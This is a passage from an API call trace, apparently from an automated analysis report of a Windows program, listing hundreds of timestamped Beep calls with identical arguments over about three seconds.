dwDuration=0x1) returned 1 [0244.717] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.732] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.758] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.768] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.782] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.802] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.811] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.828] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.829] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.845] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.861] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.862] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.883] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.893] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.912] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.928] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.944] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.947] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.949] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.950] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.953] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.968] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.986] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.003] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.018] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.035] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.038] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.045] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.066] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.075] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.093] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.108] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.126] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.128] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.132] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.157] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.165] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.183] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.201] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.212] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.242] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.247] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.264] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.282] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.297] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.315] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.319] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.320] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.336] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.356] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.367] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.388] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.407] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.419] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.432] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.433] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.455] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.464] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.482] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.498] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.516] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.537] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.546] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.563] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.568] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.585] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.595] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.597] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.618] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.628] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.647] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.663] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.681] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.684] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.688] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.703] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.722] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.832] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.866] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.867] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.891] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.891] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.892] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.893] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.909] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.925] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.940] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.941] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.944] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.958] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.974] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.991] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0245.991] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.007] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.022] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.023] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.024] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.025] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.026] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.027] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.028] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.029] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.031] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.031] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.032] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.048] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.064] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.079] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.080] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.081] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.097] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.112] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.115] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.116] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.116] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.117] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.118] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.119] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.121] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.121] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.122] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.138] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.154] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.169] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.185] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.186] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.187] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.203] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.218] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.235] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.235] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.236] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.252] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.268] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.283] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.284] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.286] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.301] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.318] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.319] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.335] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.351] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.366] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.367] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.368] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.385] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.400] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.400] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.401] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.417] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.433] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.448] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.449] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.450] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.466] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.482] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.482] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.483] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.499] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.515] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.531] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.532] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.533] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.549] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.565] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.565] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.566] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.582] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.598] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.613] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.614] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.615] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.631] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.647] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.648] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.664] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.680] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.696] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.698] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.713] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.729] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.744] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.745] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.746] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.762] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.778] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.793] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.794] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.795] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.811] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.826] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.842] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.843] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.844] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.859] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.875] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.891] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.893] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.908] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.924] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.939] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.956] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.957] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.958] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.974] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0246.990] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.005] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.006] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.007] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.022] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.068] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.069] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.070] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.071] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.072] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.073] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.074] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.075] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.076] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.155] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.157] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.158] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.159] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.160] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.161] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.162] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.163] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.164] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.165] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.166] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.167] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.168] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.169] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.170] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.171] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.172] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.173] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.174] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.175] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.176] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.177] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.178] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.179] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.180] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.181] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.182] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.183] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.184] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.185] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.186] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.187] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.188] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.189] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.190] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.191] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.192] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.193] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.194] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.195] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.196] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.197] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.198] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.199] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.200] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.201] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.202] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.203] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.204] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.205] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.206] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.207] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.208] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.209] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.210] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.211] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.212] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.213] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.214] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.215] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.216] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.217] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.218] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.219] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.220] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.221] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.222] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.223] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.224] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.225] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.226] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.227] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.228] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.235] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.236] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.237] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.238] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.272] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.273] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.274] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.275] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.276] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.277] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.278] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.279] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.280] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.281] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.282] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.283] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.284] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.285] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.286] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.287] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.288] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.289] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.290] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.291] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.292] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.293] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.294] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.295] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.296] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.297] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.298] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.299] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.300] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.301] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.302] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.303] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.304] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.305] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.306] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.307] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.308] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.316] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.317] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.318] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.319] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.320] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.321] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.322] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.323] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.324] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.325] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.326] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.327] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.328] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.329] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.330] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.331] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.332] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.333] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.334] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.335] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.336] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.337] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.338] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.339] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.340] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.341] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.342] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.343] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.344] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.345] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.346] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.347] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.348] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.349] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.350] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.352] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.368] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.383] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.399] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.401] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.416] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.432] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.448] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.448] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.450] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.466] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.481] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.497] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.498] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.499] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.514] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.530] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.546] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.547] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.548] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.549] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.550] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.551] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.552] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.553] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.554] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.556] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.558] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.558] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.559] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.560] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.561] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.563] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.566] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.587] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.599] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.619] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.623] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.639] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.660] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.669] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.691] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.710] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.765] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.768] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.771] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.772] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.774] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.776] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.793] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.810] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.823] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.829] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.845] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.856] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.873] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.891] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.906] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.908] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.909] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 